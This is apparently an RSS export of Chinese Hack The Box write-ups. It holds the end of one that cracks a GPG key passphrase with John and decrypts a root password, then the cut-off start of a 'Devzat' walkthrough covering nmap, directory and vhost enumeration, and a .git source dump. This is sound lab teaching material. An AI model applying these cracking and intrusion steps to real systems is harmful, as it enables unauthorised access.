code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">┌──(root💀kali)-[~/tmp]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">└─#</span> <span class="code-snippet__string">john --wordlist=/usr/share/wordlists/rockyou.txt tmp</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Using</span> <span class="code-snippet__string">default input encoding: UTF-8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Loaded</span> <span class="code-snippet__string">1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Cost</span> <span class="code-snippet__string">1 (s2k-count) is 16777216 for all loaded hashes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Cost</span> <span class="code-snippet__string">2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Cost</span> <span class="code-snippet__string">3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Will</span> <span class="code-snippet__string">run 4 OpenMP threads</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Press</span> <span class="code-snippet__string">&#39;q&#39; or Ctrl-C to abort, almost any other key for status</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">merrychristmas</span>   <span class="code-snippet__string">(Eddie Johnson)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">1g</span> <span class="code-snippet__string">0:00:13:03 DONE (2021-12-20 11:05) 0.001277g/s 54.71p/s 54.71c/s 54.71C/s mhines..menudo</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Use</span> <span class="code-snippet__string">the &#34;--show&#34; option to display all of the cracked passwords reliably</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Session</span> <span class="code-snippet__string">completed</span></span></code></pre><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">解密:</span></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">gpg --batch --<span class="code-snippet__keyword">import</span> /tmp/pri.key</span></code><code><span class="code-snippet_outer">gpg --pinentry-mode loopback --passphrase merrychristmas -d /tmp/pub.key</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{<span class="code-snippet__string">&#34;password&#34;</span>:<span class="code-snippet__string">&#34;Z(2rmxsNW(Z?3=p/9s&#34;</span>,<span class="code-snippet__string">&#34;description&#34;</span>:<span class="code-snippet__string">&#34;&#34;</span>}</span></code></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="210" data-backw="578" data-galleryid="" data-ratio="0.3628389154704944" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1254" src="https://wechat2rss.xlab.app/img-proxy/?k=0d4d4c75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYG2QkeNwNArgU67WE8RkeQZcEZJeYMfiaGjSOy3GvFEJITypvPOoic0SQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">切换用户到root,成功获取权限。</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="201" data-backw="578" data-galleryid="" data-ratio="0.3474320241691843" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="662" src="https://wechat2rss.xlab.app/img-proxy/?k=2aa9d59f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYPs8DGZkHzhkubEibxFl8NNPic01FRtNhpNiaCcRefcZwNOfRSAPXR03Bw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">喜欢就请关注我们吧！</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.2933333333333332" style="" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=2e420469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fpx3YHTjnicppibTy6Giaj7BrGISzEXBO45AibR70Fq9qiaZhJZgFWnB9uQuL3iaDqY6DHm7YogiaicSEmWCiaNfPvZzX5bg%2F640%3Fwx_fmt%3Dgif"/></p><p style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p>




]]></content:encoded>
      <pubDate>Wed, 09 Feb 2022 22:13:46 +0800</pubDate>
    </item>
    <item>
      <title>【HTB系列】Devazt</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485019&amp;idx=1&amp;sn=917b135b1bdf8dbdeb8523ab8d845dff</link>
      <description>【HTB系列】Devazt</description>
      <content:encoded><![CDATA[<p>
原创 <span>Carnival</span> <span>2022-02-07 07:30</span> <span style="display: inline-block;"></span>
</p>

<p>【HTB系列】Devazt</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2171d2d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYQqbiaQDxsQrZm8wic4WibXuE6x21vRibhYPrFpJ8usS2yfGJl3giaY65vWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;color: rgb(53, 53, 53);box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);"><span data-raw-text="信" data-textnode-index-1644159862381="0" data-index-1644159862381="0" class="character">信</span><span data-raw-text="息" data-textnode-index-1644159862381="0" data-index-1644159862381="1" class="character">息</span><span data-raw-text="收" data-textnode-index-1644159862381="0" data-index-1644159862381="2" class="character">收</span><span data-raw-text="集" data-textnode-index-1644159862381="0" data-index-1644159862381="3" class="character">集</span></span></strong></span></h3><p><br/></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># nmap 10.10.11.118 -p 22,80,8000 -sC -sV   --min-rate=200 </span></span></code><code><span class="code-snippet_outer">Starting Nmap <span class="code-snippet__number">7.92</span> ( https:<span class="code-snippet__regexp">//nmap</span>.org ) at <span class="code-snippet__number">2021</span>-<span class="code-snippet__number">12</span>-<span class="code-snippet__number">21</span> <span class="code-snippet__number">01</span>:<span class="code-snippet__number">26</span> EST</span></code><code><span class="code-snippet_outer">Nmap scan report <span class="code-snippet__keyword">for</span> <span class="code-snippet__number">10.10</span>.<span class="code-snippet__number">11.118</span></span></code><code><span class="code-snippet_outer">Host is up (<span class="code-snippet__number">0</span>.<span class="code-snippet__number">38</span><span class="code-snippet__keyword">s</span> latency).</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">PORT     STATE SERVICE VERSION</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">22</span>/tcp   <span class="code-snippet__keyword">open</span>  ssh     OpenSSH <span class="code-snippet__number">8.2</span>p1 Ubuntu <span class="code-snippet__number">4</span>ubuntu<span class="code-snippet__number">0</span>.<span class="code-snippet__number">2</span> (Ubuntu Linux; protocol <span class="code-snippet__number">2.0</span>)</span></code><code><span class="code-snippet_outer">| ssh-hostkey: </span></code><code><span class="code-snippet_outer">|   <span class="code-snippet__number">3072</span> c2:<span class="code-snippet__number">5</span>f:fb:de:<span class="code-snippet__number">32</span>:ff:<span class="code-snippet__number">44</span>:bf:08:f5:ca:<span class="code-snippet__number">49</span>:d4:<span class="code-snippet__number">42</span>:<span class="code-snippet__number">1</span>a:<span class="code-snippet__number">06</span> (RSA)</span></code><code><span class="code-snippet_outer">|   <span class="code-snippet__number">256</span> bc:cd:e8:ee:0a:a9:<span class="code-snippet__number">15</span>:<span class="code-snippet__number">76</span>:<span class="code-snippet__number">52</span>:bc:<span class="code-snippet__number">19</span>:a4:a3:b2:ba:ff (ECDSA)</span></code><code><span class="code-snippet_outer">|<span class="code-snippet__number">_</span>  <span class="code-snippet__number">256</span> <span class="code-snippet__number">62</span>:ef:<span class="code-snippet__number">72</span>:<span class="code-snippet__number">52</span>:<span class="code-snippet__number">4</span>f:<span class="code-snippet__number">19</span>:<span class="code-snippet__number">53</span>:<span class="code-snippet__number">8</span>b:f2:<span class="code-snippet__number">9</span>b:be:<span class="code-snippet__number">46</span>:<span class="code-snippet__number">88</span>:<span class="code-snippet__number">4</span>b:c3:d<span class="code-snippet__number">0</span> (ED25519)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">80</span>/tcp   <span class="code-snippet__keyword">open</span>  http    Apache httpd <span class="code-snippet__number">2.4</span>.<span class="code-snippet__number">41</span></span></code><code><span class="code-snippet_outer">|_http-server-header: Apache/<span class="code-snippet__number">2.4</span>.<span class="code-snippet__number">41</span> (Ubuntu)</span></code><code><span class="code-snippet_outer">|_http-title: Did <span class="code-snippet__keyword">not</span> follow redirect to http:<span class="code-snippet__regexp">//devzat</span>.htb/</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">8000</span>/tcp <span class="code-snippet__keyword">open</span>  ssh     (protocol <span class="code-snippet__number">2.0</span>)</span></code><code><span class="code-snippet_outer">| fingerprint-strings: </span></code><code><span class="code-snippet_outer">|   NULL: </span></code><code><span class="code-snippet_outer">|<span class="code-snippet__number">_</span>    SSH-<span class="code-snippet__number">2.0</span>-Go</span></code><code><span class="code-snippet_outer">| ssh-hostkey: </span></code><code><span class="code-snippet_outer">|<span class="code-snippet__number">_</span>  <span class="code-snippet__number">3072</span> <span class="code-snippet__number">6</span>a:ee:db:<span class="code-snippet__number">90</span>:a6:<span class="code-snippet__number">10</span>:<span class="code-snippet__number">30</span>:<span class="code-snippet__number">9</span>f:<span class="code-snippet__number">94</span>:ff:bf:<span class="code-snippet__number">61</span>:<span class="code-snippet__number">95</span>:<span class="code-snippet__number">2</span>a:<span class="code-snippet__number">20</span>:<span class="code-snippet__number">63</span> (RSA)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">1</span> service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https:<span class="code-snippet__regexp">//nmap</span>.org/cgi-bin/submit.cgi?new-service :</span></code><code><span class="code-snippet_outer">SF-Port800<span class="code-snippet__number">0</span>-TCP:V=<span class="code-snippet__number">7.92</span>%I=<span class="code-snippet__number">7</span>%D=<span class="code-snippet__number">12</span>/<span class="code-snippet__number">21</span>%Time=<span class="code-snippet__number">61</span>C173B9%P=x86_64-pc-linux-gnu%r(N</span></code><code><span class="code-snippet_outer">SF:ULL,C,<span class="code-snippet__string">&#34;SSH-2\.0-Go\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:<span class="code-snippet__regexp">/o:linux:linux_kernel</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">Service detection performed. Please report any incorrect results at https:/</span><span class="code-snippet__regexp">/nmap.org/submit</span><span class="code-snippet__regexp">/ .</span></span></code><code><span class="code-snippet_outer">Nmap done: 1 IP address (1 host up) scanned in 55.89 seconds</span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">写入hosts</span></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="578" data-galleryid="" data-ratio="0.5117437722419929" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1405" src="https://wechat2rss.xlab.app/img-proxy/?k=3339fba7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYicVWlZ6ibicXatE5nrJOQ9PEk2UrY0iajNHXRlD4dKEl3VjBSO5Ru2G3zg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:17:55</span>] <span class="code-snippet__number">200</span> -   <span class="code-snippet__number">17</span>KB - /LICENSE.txt                                      </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:17:56</span>] <span class="code-snippet__number">200</span> -  <span class="code-snippet__number">877B</span>  - /README.txt                                       </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:18:40</span>] <span class="code-snippet__number">301</span> -  <span class="code-snippet__number">309B</span>  - /assets  -&gt;  http:<span class="code-snippet__comment">//devzat.htb/assets/            </span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:18:40</span>] <span class="code-snippet__number">200</span> -    <span class="code-snippet__number">1</span>KB - /assets/</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:19:18</span>] <span class="code-snippet__number">301</span> -  <span class="code-snippet__number">309B</span>  - /images  -&gt;  http:<span class="code-snippet__comment">//devzat.htb/images/            </span></span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:19:18</span>] <span class="code-snippet__number">200</span> -    <span class="code-snippet__number">2</span>KB - /images/</span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:19:20</span>] <span class="code-snippet__number">200</span> -    <span class="code-snippet__number">6</span>KB - /index.html                                       </span></code><code><span class="code-snippet_outer">[<span class="code-snippet__meta">04:19:23</span>] <span class="code-snippet__number">301</span> -  <span class="code-snippet__number">313B</span>  - /javascript  -&gt;  http:<span class="code-snippet__comment">//devzat.htb/javascript/</span></span></code></pre><p cid="n9" mdtype="paragraph"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">找一下子域，扫描下vhost。扫到了一个pets</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="299" data-backw="578" data-galleryid="" data-ratio="0.5163690476190477" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1344" src="https://wechat2rss.xlab.app/img-proxy/?k=5cb16323&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYwibcl5RCWCRNouTbc0FRUstbl8myWLic8jvrfgjGvh7naPpaficNxpvXQ%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style=""><br/></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">用户名</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="309" data-backw="578" data-galleryid="" data-ratio="0.5346462436177972" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1371" src="https://wechat2rss.xlab.app/img-proxy/?k=510753a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYwSlxDjroyrlDQAjRoYEBaM6J8R8NdPpccdWnKz2usGL32licgRX8sJw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cookie</span></span></code><code><span class="code-snippet_outer">Mia</span></code><code><span class="code-snippet_outer">Chuck</span></code><code><span class="code-snippet_outer">Balu</span></code><code><span class="code-snippet_outer">Georg</span></code><code><span class="code-snippet_outer">Gustav</span></code><code><span class="code-snippet_outer">Rudi</span></code><code><span class="code-snippet_outer">Bruno</span></code></pre><p style="margin-top: 1rem;margin-bottom: 1rem;color: rgb(53, 53, 53);box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);"> 漏洞挖掘</span></strong></span></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">尝试添加一下宠物没什么反应。</span></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">扫下目录发现 .git 还有目录下的一个目录 build 信息泄露</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="203" data-backw="578" data-galleryid="" data-ratio="0.3515358361774744" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="586" src="https://wechat2rss.xlab.app/img-proxy/?k=205f7765&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYcpy7cTYn08u5F2pMKRbfxQToibkPmfPn8RucPPJ2ibfdAwKQ6MOPNlnA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="384" data-backw="578" data-galleryid="" data-ratio="0.6636931311329171" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1121" src="https://wechat2rss.xlab.app/img-proxy/?k=20c6f29d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY5fO0JlGpXElFCutBmmp0MLdNiasw09WLbNE1OF5xrz5W2PMekAmAtrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style=""><br/></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">成功导出的目录如下：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer">┌──(<span class="code-snippet__selector-tag">root</span>💀<span class="code-snippet__selector-tag">kali</span>)<span class="code-snippet__selector-tag">-</span><span class="code-snippet__selector-attr">[/tmp/dump]</span></span></code><code><span class="code-snippet_outer">└─# <span class="code-snippet__selector-tag">tree</span></span></code><code><span class="code-snippet_outer">.</span></code><code><span class="code-snippet_outer">├── 0<span class="code-snippet__selector-tag">-464614f32483e1fde60ee53f5d3b4d468d80ff62</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">characteristics</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">commit-meta</span><span class="code-snippet__selector-class">.txt</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.mod</span></span></code><code><span class="code-snippet_outer">│   └── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.sum</span></span></code><code><span class="code-snippet_outer">├── 1<span class="code-snippet__selector-tag">-8274d7a547c0c3854c074579dfc359664082a8f6</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">characteristics</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">commit-meta</span><span class="code-snippet__selector-class">.txt</span></span></code><code><span class="code-snippet_outer">│   ├── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.mod</span></span></code><code><span class="code-snippet_outer">│   └── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.sum</span></span></code><code><span class="code-snippet_outer">└── 2<span class="code-snippet__selector-tag">-ef07a04ebb2fc92cf74a39e0e4b843630666a705</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">characteristics</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">commit-meta</span><span class="code-snippet__selector-class">.txt</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.mod</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">go</span><span class="code-snippet__selector-class">.sum</span></span></code><code><span class="code-snippet_outer">    ├── <span class="code-snippet__selector-tag">main</span><span class="code-snippet__selector-class">.go</span></span></code><code><span class="code-snippet_outer">    └── <span class="code-snippet__selector-tag">petshop</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">6 <span class="code-snippet__selector-tag">directories</span>, 11 <span class="code-snippet__selector-tag">files</span></span></code></pre><p style=""><br/></p><p style=""><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">查看代码发现main.go就是pets.devzat.htb的源代码</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;"></span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> main</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> (</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;embed&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;encoding/json&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;fmt&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;io/fs&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;io/ioutil&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;log&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;net/http&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;os/exec&#34;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;time&#34;</span></span></code><code><span 